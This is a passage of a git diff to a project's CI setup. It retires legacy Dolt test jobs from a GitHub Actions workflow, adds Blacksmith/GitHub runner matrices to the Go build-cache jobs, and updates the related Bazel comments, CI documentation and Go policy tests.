heavy tests apart; the heaviest shard projects to ~13m. - timeout-minutes: 25 - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/embeddeddolt-test - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Test - env: - BEADS_TEST_EMBEDDED_DOLT: "1" - BEADS_TEST_EMBEDDED_TEST_BINARY: /tmp/embeddeddolt-test - # Manifest-driven shard of the storage suite (mirrors test-embedded-cmd - # / embedded-test-shard.sh). Conformance runs separately in the - # dedicated test-embedded-conformance job below (mirrors pr-risk.yml); - # embedded-storage-test-shard.sh excludes TestConformance from - # discovery, so it never lands in one of these shards. - run: bash .github/scripts/embedded-storage-test-shard.sh ${{ matrix.shard }} 5 - - test-embedded-conformance: - name: Test (Embedded Dolt Conformance - ${{ matrix.partition }}) - needs: [detect-ci-tier, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' - runs-on: ubuntu-latest - timeout-minutes: 35 - strategy: - fail-fast: false - matrix: - partition: [core, audit] - env: - BEADS_TEST_EMBEDDED_DOLT: "1" - BEADS_TEST_EMBEDDED_TEST_BINARY: /tmp/embeddeddolt-test - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/embeddeddolt-test - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Test core conformance - if: matrix.partition == 'core' - # RunAll has a natural Audit seam. Run everything except Audit in the - # core shard and Audit alone in the other shard. The combined suite has - # exceeded 30m under runner variance; each half currently takes ~15m. - # Keep the Go timeout below the job timeout so a real stall still emits - # a diagnostic goroutine dump before Actions stops the job. - run: /tmp/embeddeddolt-test -test.v -test.count=1 -test.timeout=30m -test.run '^TestConformance$' -test.skip '^TestConformance$/^Audit$' - - - name: Test audit conformance - if: matrix.partition == 'audit' - run: /tmp/embeddeddolt-test -test.v -test.count=1 -test.timeout=30m -test.run '^TestConformance$/^Audit$' - - test-embedded-cmd: - name: Test (Embedded Dolt Cmd ${{ matrix.shard }}/${{ strategy.job-total }}) - needs: [detect-ci-tier, build-embedded] - if: needs.detect-ci-tier.outputs.full_embedded == 'true' - runs-on: ubuntu-latest - strategy: - fail-fast: false - matrix: - shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Download binaries - uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8 - with: - name: embedded-test-binaries - path: /tmp/ - - - name: Fix permissions - run: chmod +x /tmp/bd-embedded-test /tmp/embeddeddolt-test /tmp/bd-cmd-test - - - name: Configure Git - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - - - name: Test - env: - BEADS_TEST_EMBEDDED_DOLT: "1" - BEADS_TEST_BD_BINARY: /tmp/bd-embedded-test - run: bash .github/scripts/embedded-test-shard.sh ${{ matrix.shard }} 20 + key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} # Windows smoke tests only - full test suite times out (see bd-bmev) # Linux/macOS run comprehensive tests; Windows just verifies binary works @@ -1572,24 +847,19 @@ jobs: # F7b: pr.yml's scripts-go-checks moved to same-repo Blacksmith # (blacksmith-4vcpu-ubuntu-2404); this is that path's saver for the race and # non-race GOCACHEs its scripts-test and allowlisted legs restore (the vet - # leg is already covered by go-vet-cache's venue matrix above). Mirrors - # build-artifacts (non-race, fork/github path) and build-embedded (race, - # fork/github path): Blacksmith runners cannot see caches `actions/cache` - # saved from a GitHub-hosted runner (and vice versa) even for an identical - # key, so without this every same-repo PR's scripts-go-checks race/non-race - # legs would stay cold forever. + # leg is already covered by go-vet-cache's venue matrix above). Blacksmith + # runners cannot see caches `actions/cache` saved from a GitHub-hosted + # runner (and vice versa) even for an identical key, so without this every + # same-repo PR's scripts-go-checks race/non-race legs would stay cold + # forever. # - # Unlike pr-lint-wrapper/go-vet-cache above, this job has no `venue` matrix - # dimension and runs on Blacksmith only: build-artifacts/build-embedded - # already seed the ubuntu-latest (fork) leg's non-race/race caches - # respectively, so a second ubuntu-latest leg here would be a redundant, - # wasted run. `${{ '...' }}` (rather than a bare literal) is required for - # actionlint: a literal self-hosted label in `runs-on` fails validation, - # but actionlint treats any `${{ }}` expression, even one it could in - # principle resolve to a constant, as dynamic and skips the check — the - # same reason every other Blacksmith `runs-on` in this repo uses this form. - # main.yml only triggers on push to main (already trusted), so this - # intentionally has no fork/dependabot fallback branch. + # The `venue` matrix also seeds the ubuntu-latest (fork/Dependabot) path's + # race cache, which the legacy embedded build used to save before Bazel + # took over that tier on push; build-artifacts still seeds that path's + # non-race cache, so the github x non-race leg is excluded as redundant. + # The ternary `runs-on` form (rather than a literal Blacksmith label) is + # required for actionlint, same as every other Blacksmith `runs-on` here. + # main.yml only triggers on push to main (already trusted). # # F7b review fix (B2): pin push-to-main-only at the job level too, not just # via this workflow's current `on: push` trigger (same defense-in-depth @@ -1600,14 +870,19 @@ jobs: # of this Blacksmith cache namespace). Pinned by # TestBlacksmithSaverJobsGuardedAgainstPullRequest. blacksmith-go-build-cache: - name: Warm Blacksmith Go build cache (${{ matrix.flavor }}) - runs-on: ${{ 'blacksmith-4vcpu-ubuntu-2404' }} + name: Warm Go build cache (${{ matrix.flavor }}, ${{ matrix.venue }}) + runs-on: ${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' timeout-minutes: 20 strategy: fail-fast: false matrix: flavor: [race, non-race] + venue: [blacksmith, github] + # build-artifacts seeds the GitHub-hosted non-race cache. + exclude: + - flavor: non-race + venue: github steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1695,27 +970,32 @@ jobs: path: ${{ runner.temp }}/go-cache/non-race key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - # Blacksmith macOS saver: pr.yml's pr-preflight-platforms and + # macOS saver: pr.yml's pr-preflight-platforms and # check-doc-freshness-platforms macOS legs run on blacksmith-6vcpu-macos-26 - # for same-repo PRs/merge_group, and Blacksmith runners cannot see the - # macOS caches the GitHub-hosted `test` job's macOS leg saves above (that - # leg keeps seeding the fork/Dependabot macos-latest path). This job is - # their only seeder, on the exact same label, and runs only the shared - # warm-up those legs compile (warm-non-race-cache.sh, the same script the - # Linux/Windows/GitHub-macOS seeders use) plus the non-test ./cmd/bd build - # the GitHub macOS leg also warms -- no tests, so it stays a few minutes of - # Blacksmith macOS time per push. Same push-to-main-only job guard (B2) and - # go.sum + UTC-day cache keys (S7) as blacksmith-go-build-cache, so a - # same-repo PR can never write this namespace and ordinary push traffic - # writes at most one non-race entry per day. Pinned by + # for same-repo PRs/merge_group and on macos-latest for fork/Dependabot PRs, + # and Blacksmith and GitHub-hosted runners cannot see each other's + # actions/cache entries, so the `venue` matrix seeds both (same convention as + # pr-lint-wrapper/go-vet-cache/test-windows). This job is their only seeder + # (and the Blacksmith leg also seeds the `test` job's module and non-race + # caches), and runs only the shared warm-up those legs compile + # (warm-non-race-cache.sh, the same script the Linux/Windows seeders use) + # plus the non-test ./cmd/bd build -- no tests, so it stays a few minutes of + # macOS time per push. Same push-to-main-only job guard (B2) and go.sum + + # UTC-day cache keys (S7) as blacksmith-go-build-cache, so a PR can never + # write this namespace and ordinary push traffic writes at most one + # non-race entry per day per venue. Pinned by # TestBlacksmithSaverJobsGuardedAgainstPullRequest, # TestBlacksmithSaverCacheKeysAreNotPerCommit and # TestBlacksmithMacOSSaverMatchesPRLegs. blacksmith-macos-go-build-cache: - name: Warm Blacksmith Go build cache (macOS) - runs-on: ${{ 'blacksmith-6vcpu-macos-26' }} + name: Warm macOS Go build cache (${{ matrix.venue }}) + runs-on: ${{ matrix.venue == 'blacksmith' && 'blacksmith-6vcpu-macos-26' || 'macos-latest' }} if: github.event_name == 'push' && github.ref == 'refs/heads/main' && github.repository == 'gastownhall/beads' timeout-minutes: 20 + strategy: + fail-fast: false + matrix: + venue: [blacksmith, github] steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1746,8 +1026,9 @@ jobs: key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} restore-keys: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race- - # Records the image's toolchain in the log so a Blacksmith image drift - # (vs. GitHub's macos-26-arm64) is visible next to the cache it seeds. + # Records each venue's toolchain in the log so an image drift between + # Blacksmith and GitHub's macos-latest is visible next to the cache it + # seeds. - name: Check macOS toolchain diagnostics run: | sw_vers diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 1981a0d40..624205455 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1381,7 +1381,7 @@ go_test( # against this configuration's bd_test with BEADS_TEST_EMBEDDED_DOLT=1 and # the race bd (//cmd/bd:bd under --config=embedded) as the subprocess # binary. This is a *different* shard count from PR Risk's legacy fork/push -# jobs, "Test (Embedded Dolt Cmd N/20)" (pr-risk.yml, main.yml): those keep +# jobs, "Test (Embedded Dolt Cmd N/20)" (pr-risk.yml): those keep # running 20 shards of their own, frozen hand-assigned block in the same # manifest file — shard k here is not the same split as their shard k. It # repeats bd_test's `env` (the wrapper cannot inherit it). shard_count must @@ -1429,12 +1429,10 @@ sh_test( # (race) bd_test with BEADS_TEST_PROXIED_SERVER=1 and the non-race # bd_for_tests as the subprocess binary. This is a *different* shard count # from PR Risk's legacy fork/push jobs, "Test (Proxied Dolt Cmd N/15)" -# (pr-risk.yml, main.yml): those keep running 15 shards of their own, +# (pr-risk.yml): those keep running 15 shards of their own, # frozen bd-init-cost-proxy block in the same manifest file — shard k here # is not the same split as their shard k. PR Risk builds its bd-cmd-test -# with -race, as here; main.yml's test-proxied-cmd twin uses -# build-artifacts' non-race bd-cmd-test, so this lane is the stricter of -# the two. The shared proxied harness gets its dolt sql-server from +# with -race, as here. The shared proxied harness gets its dolt sql-server from # internal/testutil's local backend (the pinned dolt in the test # wrapper's runfiles) instead of the jobs' container, and fails instead # of skipping when it cannot start one. It repeats bd_test's `env`. @@ -1496,8 +1494,8 @@ sh_test( # instead of skipping every Dolt-gated test into a cached pass. These are # the cmd/bd tests no other lane runs: every other configuration of bd_test # passes BEADS_TEST_SKIP=dolt (prcore/ci, integration) or runs only its -# manifest (bd_embedded_test, bd_proxied_test), and so do main.yml's and -# nightly.yml's go test jobs. No -test.run/-test.skip: the Go binary shards +# manifest (bd_embedded_test, bd_proxied_test), and so does nightly.yml's +# go test job. No -test.run/-test.skip: the Go binary shards # itself over every top-level test (rules_go's TEST_SHARD_INDEX), so each # runs in exactly one shard, and check_testcases.py fails a shard that ran # none. It repeats bd_test's `env` (the wrapper cannot inherit it). diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 57102cc1f..091d58be6 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -72,7 +72,7 @@ Current PR-related workflow names: A lane that should run and fails, is cancelled, or reports no result fails the gate, and so does a missing or invalid mode. `bazel-integration` (`bazel test //... --config=integration`, the Bazel - twin of `main.yml`'s Linux integration shards) is required on every PR: + successor of `main.yml`'s former Linux integration shards) is required on every PR: `pr.yml` passes `integration: "on"` (policy-pinned), so it runs in modes `remote` (same-repo PRs) and `fork-ro`/`fork-rw` (fork and Dependabot PRs while rbe-fork is open), and in mode `cache` (fork and Dependabot PRs @@ -1016,7 +1016,9 @@ manifests. On those PRs they are the tiers' only pre-merge run, and only run of each retired tier and `CI Gate / Required` is red unless they ran remotely and passed (see [Merge Queue](#merge-queue)). - `main.yml`'s embedded and proxied jobs on push to `main` are untouched. + On push to `main`, `bazel.yml`'s push run is the only run of these tiers + (`main.yml`'s legacy embedded, proxied, integration, domain+uow and Linux + unit jobs were removed, ga-96smfk.14). - How: - `pr-risk.yml` and `pr.yml` each run the identical `bazel-coverage` job (policy-tested). The job does no checkout and runs no repository code. @@ -1077,9 +1079,8 @@ manifests. On those PRs they are the tiers' only pre-merge run, and default branch (`main`) only. On PRs into `release/**` both workflows run and report, but merging does not wait for them, before or after this change. Without the merge queue rule and with `strict` off, no - pre-merge run catches a gap; only `main.yml`'s embedded and proxied jobs - and `bazel.yml`'s push run do, after merge (`main.yml` has no server-Dolt - storage jobs; `bazel.yml`'s push run covers that tier). + pre-merge run catches a gap; only `bazel.yml`'s push run does, after + merge. - Lane hardening that the retirement relies on, for `bazel-embedded`, `bazel-proxied` and `bazel-server-storage` alike (policy-tested in `scripts/ci_workflow_test.go` and `scripts/pr_risk_bazel_coverage_test.go`): @@ -1260,8 +1261,10 @@ macOS jobs; `release.yml`, `nightly.yml` and `ci-measurements.yml` stay on main.yml's `blacksmith-macos-go-build-cache` job is their seeder: same label, push-to-main-only job guard, module cache plus a non-race GOCACHE keyed by `go.sum` and UTC day, warmed by the shared - `scripts/ci/warm-non-race-cache.sh`. main.yml's `test` job macOS leg (the - GitHub-hosted full suite) is unchanged and still seeds the fork path. + `scripts/ci/warm-non-race-cache.sh`. Its `github` venue leg seeds the + fork path (`macos-latest`) the same way; main.yml's `test` job (the macOS + full suite) runs on the same Blacksmith label and restores the Blacksmith + leg's caches. - **Pins.** `TestSameRepoPlatformsMatrixMarkerRunsOnExpressionSemantics`, `TestBlacksmithMacOSSaverMatchesPRLegs`, `TestBlacksmithSaverJobsGuardedAgainstPullRequest`, diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index d420dc716..6d9fad283 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -125,7 +125,7 @@ go_library( # this package with a real `go test -c` (integration.SubprocessRunner), which # needs the module's source tree and a module cache no action has. They run # only against a server: skipped under --config=integration -# (BEADS_TEST_SKIP=dolt, like main.yml's integration jobs), and run by +# (BEADS_TEST_SKIP=dolt, like nightly.yml's full test), and run by # dolt_server_full_test, which hands SubprocessRunner its own test binary # (BEADS_TEST_SUBPROCESS_BINARY) instead. go_test( diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index c07059454..56949ee3c 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -270,8 +270,8 @@ go_test( # BEADS_TEST_EMBEDDED_DOLT=1; the wrapper points # BEADS_TEST_EMBEDDED_TEST_BINARY at this binary, which the concurrency test # re-executes. This is a *different* shard count from PR Risk's legacy -# fork/push jobs, "Test (Embedded Dolt Storage N/5)" (pr-risk.yml, -# main.yml): those keep running 5 shards of their own, frozen hand-assigned +# fork jobs, "Test (Embedded Dolt Storage N/5)" (pr-risk.yml): those keep +# running 5 shards of their own, frozen hand-assigned # block in the same manifest file — shard k here is not the same split as # their shard k. shard_count must stay equal to this lane's manifest # block's shard total. diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index acc5ae0b7..f4eb0b6d4 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -1468,8 +1468,10 @@ func sameTagSet(a, b map[string]bool) bool { } // TestBazelIntegrationLaneMatchesMainWorkflow keeps --config=integration in -// step with main.yml's "Main Linux integration" jobs: the same build tags, -// race, BEADS_TEST_SKIP=dolt, and none of the variants those jobs do not run. +// step with the integration-tagged `go test` it replaced on push to main +// (main.yml's former "Main Linux integration" jobs), whose one remaining Go +// twin is nightly.yml's Full Test Suite: the same build tags, race, +// BEADS_TEST_SKIP=dolt, and none of the variants that run does not use. // It also requires gazelle to see the same tags (root BUILD.bazel // `gazelle:build_tags`): gazelle drops a file whose build constraint names a // tag it does not know, so without it no BUILD file would list the integration @@ -1478,17 +1480,21 @@ func sameTagSet(a, b map[string]bool) bool { // through `make bazel-sync`, whose staleness bazel.yml already fails on. func TestBazelIntegrationLaneMatchesMainWorkflow(t *testing.T) { root := bazelPolicyRoot(t) - mainYML := readPolicyFile(t, root, ".github/workflows/main.yml") - jobTags := regexp.MustCompile(`-race -tags=(\S+) -timeout=30m`).FindAllStringSubmatch(mainYML, -1) - if len(jobTags) != 2 { - t.Fatalf("main.yml: want the two integration jobs' `go test -race -tags=... -timeout=30m`, found %d", len(jobTags)) + nightly := readCIWorkflow(t, "nightly.yml").job(t, "full-test") + var want map[string]bool + for _, step := range nightly.Steps { + if m := regexp.MustCompile(`go test .*-race -tags=(\S+) .*-timeout=30m \./\.\.\.`).FindStringSubmatch(step.Run); m != nil { + if want != nil { + t.Fatalf("nightly.yml full-test: more than one integration `go test -race -tags=...` step") + } + want = tagSet(m[1]) + if step.Env["BEADS_TEST_SKIP"] != "dolt" { + t.Fatal("nightly.yml full-test no longer runs with BEADS_TEST_SKIP=dolt; update test:integration") + } + } } - want := tagSet(jobTags[0][1]) - if !want["integration"] || !sameTagSet(want, tagSet(jobTags[1][1])) { - t.Fatalf("main.yml integration jobs' tags differ or lack integration: %q, %q", jobTags[0][1], jobTags[1][1]) - } - if strings.Count(mainYML, "env BEADS_TEST_SKIP=dolt gotestsum") < 2 { - t.Fatal("main.yml integration jobs no longer run with BEADS_TEST_SKIP=dolt; update test:integration") + if !want["integration"] { + t.Fatalf("nightly.yml full-test: want one `go test -race -tags=...integration... -timeout=30m ./...` step, got tags %v", want) } bazelrc := readPolicyFile(t, root, ".bazelrc") @@ -1502,7 +1508,7 @@ func TestBazelIntegrationLaneMatchesMainWorkflow(t *testing.T) { } } if !sameTagSet(laneTags, want) { - t.Errorf(".bazelrc build:integration tags = %v, want main.yml's %v", laneTags, want) + t.Errorf(".bazelrc build:integration tags = %v, want nightly.yml full-test's %v", laneTags, want) } if err := checkBazelrcIntegrationLane(bazelrc); err != nil { t.Error(err) diff --git a/scripts/ci/pr-core.sh b/scripts/ci/pr-core.sh index f36eb1d1f..8c66241bc 100755 --- a/scripts/ci/pr-core.sh +++ b/scripts/ci/pr-core.sh @@ -27,8 +27,7 @@ GO_TEST_PARALLEL="${GO_TEST_PARALLEL:-4}" # just under). No single test is at fault, so the panic names whichever one was # in flight and reads like a hang when it is really the whole package running out # of clock. 30m is what every other -race lane here already gives this same code: -# main.yml's integration package and cmd/bd shards, ci-measurements.yml, -# nightly.yml. Splitting or de-slowing cmd/bd is the real fix and belongs on main +# main.yml's macOS test job, ci-measurements.yml, nightly.yml. Splitting or de-slowing cmd/bd is the real fix and belongs on main # — this only stops the clock from being the thing that fails. # BEADS_PR_CORE_GO_TEST_JSON=: same run, `go test -json` output to # (nightly.yml feeds it to tools/bazel/equivalence.py --go-test-json). diff --git a/scripts/ci/warm-non-race-cache.sh b/scripts/ci/warm-non-race-cache.sh index a86f41c27..8031511a9 100755 --- a/scripts/ci/warm-non-race-cache.sh +++ b/scripts/ci/warm-non-race-cache.sh @@ -10,10 +10,9 @@ # - main.yml's blacksmith-go-build-cache (Blacksmith / same-repo-PR path # non-race save) # - main.yml's test-windows (Windows non-race save) -# - main.yml's test macOS leg (GitHub-hosted macOS non-race save; the -# fork/Dependabot path of pr.yml's macOS legs) -# - main.yml's blacksmith-macos-go-build-cache (Blacksmith macOS non-race -# save; the same-repo-PR path of pr.yml's macOS legs) +# - main.yml's blacksmith-macos-go-build-cache (macOS non-race save: its +# github leg the fork/Dependabot path of pr.yml's macOS legs, its +# blacksmith leg the same-repo-PR path) # # Package list mirrors exactly what pr.yml's check-doc-freshness-platforms and # pr-preflight-platforms legs compile on every OS: diff --git a/scripts/ci_f7b_review_test.go b/scripts/ci_f7b_review_test.go index 562fe6a34..54df07b92 100644 --- a/scripts/ci_f7b_review_test.go +++ b/scripts/ci_f7b_review_test.go @@ -69,10 +69,11 @@ func TestBlacksmithReachablePRJobsDisableDefaultCachingActions(t *testing.T) { // Blacksmith-selection GOCACHE/vet-cache a same-repo PR or merge_group job // above restores from. F7c's blacksmith-setup-go-cache is pinned by its own // TestBlacksmithSeederGuardedAgainstPullRequest in ci_f7c_advisory_test.go; -// these are F7b's four (B2) plus the Blacksmith macOS saver. +// these are F7b's four (B2), the macOS saver, and the Blacksmith macOS +// `test` job (which saves its own race cache). var blacksmithSaverJobs = []string{ "blacksmith-go-build-cache", "pr-lint-wrapper", "go-vet-cache", "test-windows", - "blacksmith-macos-go-build-cache", + "blacksmith-macos-go-build-cache", "test", } // TestBlacksmithSaverJobsGuardedAgainstPullRequest is the B2 fix's pin: each @@ -172,6 +173,11 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { restoreStepNames: []string{"Restore non-race Go build cache"}, saveStepNames: []string{"Save non-race Go build cache"}, }, + { + job: "test", + restoreStepNames: []string{"Restore non-race Go build cache", "Restore race Go build cache"}, + saveStepNames: []string{"Save race Go build cache"}, + }, } for _, c := range cases { @@ -202,7 +208,8 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { // TestBlacksmithSaverVenueAndFlavorMatricesAreComplete re-pins mutations the // reviewer's mutate.py found surviving against pre-fix code (M8, M9): main.yml's -// three "venue matrix" savers (pr-lint-wrapper, go-vet-cache, test-windows) +// "venue matrix" savers (pr-lint-wrapper, go-vet-cache, test-windows, and the +// Linux and macOS Go build cache savers) // must each keep BOTH the `blacksmith` leg (the actual same-repo-PR seed) and // the `github` leg (that job's pre-existing fork-PR/GitHub-hosted coverage), // and blacksmith-go-build-cache's `flavor` matrix must keep both `race` and @@ -212,7 +219,7 @@ func TestBlacksmithSaverCacheKeysAreNotPerCommit(t *testing.T) { // axis's value list shrinks). func TestBlacksmithSaverVenueAndFlavorMatricesAreComplete(t *testing.T) { workflow := readCIWorkflow(t, "main.yml") - for _, jobName := range []string{"pr-lint-wrapper", "go-vet-cache", "test-windows"} { + for _, jobName := range []string{"pr-lint-wrapper", "go-vet-cache", "test-windows", "blacksmith-go-build-cache", "blacksmith-macos-go-build-cache"} { job := workflow.job(t, jobName) if got := job.Strategy.Matrix.Venue; !equalStrings(got, []string{"blacksmith", "github"}) { t.Errorf("main.yml's %s matrix.venue = %v, want [blacksmith github]", jobName, got) @@ -331,10 +338,10 @@ func TestCompileOnlyUsesBuildFlagsConstant(t *testing.T) { var blacksmithMacOSPRLegJobs = []string{"pr-preflight-platforms", "check-doc-freshness-platforms"} // TestBlacksmithMacOSSaverMatchesPRLegs pins the contract between pr.yml's -// Blacksmith macOS PR legs and their only seeder, main.yml's +// macOS PR legs and their only seeder, main.yml's // blacksmith-macos-go-build-cache: Blacksmith cannot see GitHub-saved caches -// (and vice versa), so the saver must run on exactly the label a same-repo -// PR's macOS leg resolves to, write the cache path/key family those legs +// (and vice versa), so the saver must run on exactly the labels a same-repo +// and a fork PR's macOS leg resolve to, write the cache path/key family those legs // restore, and compile what they compile (the shared warm-up). The PR legs // stay restore-only and are inside the default-caching-action sweep. func TestBlacksmithMacOSSaverMatchesPRLegs(t *testing.T) { @@ -351,11 +358,22 @@ func TestBlacksmithMacOSSaverMatchesPRLegs(t *testing.T) { "matrix.runner": "same-repo-macos", "matrix.os": "macos-latest", } - if want := "${{ '" + blacksmithMacOSLabel + "' }}"; saver.RunsOn != want { + forkMacOS := map[string]string{ + "github.event_name": "pull_request", + "github.event.pull_request.head.repo.full_name": "someone/beads", + "github.repository": ownRepo, + "github.actor": "someone", + "matrix.runner": "same-repo-macos", + "matrix.os": macOSRunner, + } + // One leg per venue: the Blacksmith leg seeds same-repo PRs, the github + // leg the fork/Dependabot macos-latest path. + if want := "${{ matrix.venue == 'blacksmith' && '" + blacksmithMacOSLabel + "' || '" + macOSRunner + "' }}"; saver.RunsOn != want { t.Errorf("blacksmith-macos-go-build-cache runs-on = %q, want %q", saver.RunsOn, want) } - if saver.TimeoutMinutes == 0 || len(saver.Strategy.Matrix.Include) != 0 { - t.Errorf("blacksmith-macos-go-build-cache timeout=%d include=%v, want a timeout and a single leg", saver.TimeoutMinutes, saver.Strategy.Matrix.Include) + if saver.TimeoutMinutes == 0 || len(saver.Strategy.Matrix.Include) != 0 || !equalStrings(saver.Strategy.Matrix.Venue, []string{"blacksmith", "github"}) { + t.Errorf("blacksmith-macos-go-build-cache timeout=%d include=%v venue=%v, want a timeout and one leg per venue [blacksmith github]", + saver.TimeoutMinutes, saver.Strategy.Matrix.Include, saver.Strategy.Matrix.Venue) } saverSave := saver.step(t, "Save non-race Go build cache") @@ -369,6 +387,9 @@ func TestBlacksmithMacOSSaverMatchesPRLegs(t *testing.T) { if got := mustEvalGHRunsOn(t, job.RunsOn, sameRepoMacOS); got != blacksmithMacOSLabel { t.Errorf("pr.yml %s same-repo macOS leg resolves to %q, want the saver's %q", jobName, got, blacksmithMacOSLabel) } + if got := mustEvalGHRunsOn(t, job.RunsOn, forkMacOS); got != macOSRunner { + t.Errorf("pr.yml %s fork macOS leg resolves to %q, want the saver's github leg %q", jobName, got, macOSRunner) + } if setup := job.step(t, "Set up Go"); setup.With["cache"] != "false" { t.Errorf("pr.yml %s Set up Go cache = %q, want \"false\"", jobName, setup.With["cache"]) } diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index 9faea6ed3..a0a32c51b 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -690,30 +690,35 @@ func TestPRPreflightPlatformsRunStepsUseRestoredGoBuildCache(t *testing.T) { } } -// main.yml's test job macOS leg is the GitHub-hosted macOS non-race GOCACHE -// seeder for pr.yml's macOS legs on the fork/Dependabot (macos-latest) path; -// blacksmith-macos-go-build-cache seeds the same-repo Blacksmith path. It must compile the same test packages -// those legs compile (warm-non-race-cache.sh, shared with the Linux and -// Windows seeders), not only the non-test ./cmd/bd graph its Build step does, -// and it must do so before the cache is saved. -func TestMainMacOSTestLegWarmsNonRaceGoBuildCache(t *testing.T) { +// main.yml's test job runs the macOS -race -short suite on Blacksmith macOS +// (blacksmithMacOSLabel, the image pr.yml's same-repo macOS legs use), and +// restores the module and non-race caches main.yml's +// blacksmith-macos-go-build-cache Blacksmith leg seeds: the same path and a +// restore-keys prefix of that saver's key. It writes only its own race cache. +func TestMainMacOSTestJobRestoresBlacksmithMacOSSaverCaches(t *testing.T) { workflow := readCIWorkflow(t, "main.yml") job := workflow.job(t, "test") - const name = "Warm non-race GOCACHE for macOS preflight/doc-freshness" - step := job.step(t, name) - if step.If != "matrix.os == 'macos-latest'" { - t.Errorf("%q if = %q, want the macOS leg only", name, step.If) + if want := "${{ '" + blacksmithMacOSLabel + "' }}"; job.RunsOn != want { + t.Errorf("main.yml test runs-on = %q, want %q", job.RunsOn, want) } - if step.ContinueOnError != nil && step.ContinueOnError != false { - t.Errorf("%q may not continue on error", name) + if job.TimeoutMinutes == 0 { + t.Error("main.yml test has no timeout-minutes") } - assertStepRunsExactly(t, job, name, "bash scripts/ci/warm-non-race-cache.sh") - assertGoCacheEnv(t, job, name, "non-race") - assertStepsBefore(t, job, []string{"Restore non-race Go build cache"}, []string{name}) - assertStepsBefore(t, job, []string{name}, []string{"Save non-race Go build cache"}) - save := job.step(t, "Save non-race Go build cache") - if !strings.Contains(save.If, "matrix.os == 'macos-latest'") || save.With["path"] != goBuildCachePath("non-race") { - t.Errorf("macOS non-race saver drifted: if=%q path=%q", save.If, save.With["path"]) + saver := workflow.job(t, "blacksmith-macos-go-build-cache") + for _, pair := range [][2]string{ + {"Restore Go module cache", "Save Go module cache"}, + {"Restore non-race Go build cache", "Save non-race Go build cache"}, + } { + restore, save := job.step(t, pair[0]), saver.step(t, pair[1]) + if restore.With["path"] != save.With["path"] || restore.With["restore-keys"] == "" || !strings.HasPrefix(save.With["key"], restore.With["restore-keys"]) { + t.Errorf("main.yml test %q (%q, %q) cannot reach the macOS saver's %q (%q, %q)", + pair[0], restore.With["path"], restore.With["restore-keys"], pair[1], save.With["path"], save.With["key"]) + } + } + for _, step := range job.Steps { + if actionFamily(step.Uses) == cacheSaveActionFamily && step.Name != "Save race Go build cache" { + t.Errorf("main.yml test step %q saves a cache; only its own race cache may (the macOS saver owns the rest)", step.Name) + } } } @@ -994,7 +999,7 @@ func TestStorageDomainUOWJobsUseNestedTimeoutBudgets(t *testing.T) { "go test -tags gms_pure_go -race -count=1 -timeout %dm -v ./cmd/bd/doctor/fix/", doctorTimeoutMinutes) - for _, workflowName := range []string{"pr.yml", "main.yml"} { + for _, workflowName := range []string{"pr.yml"} { t.Run(workflowName, func(t *testing.T) { job := readCIWorkflow(t, workflowName).job(t, "test-domain-uow") if job.TimeoutMinutes != 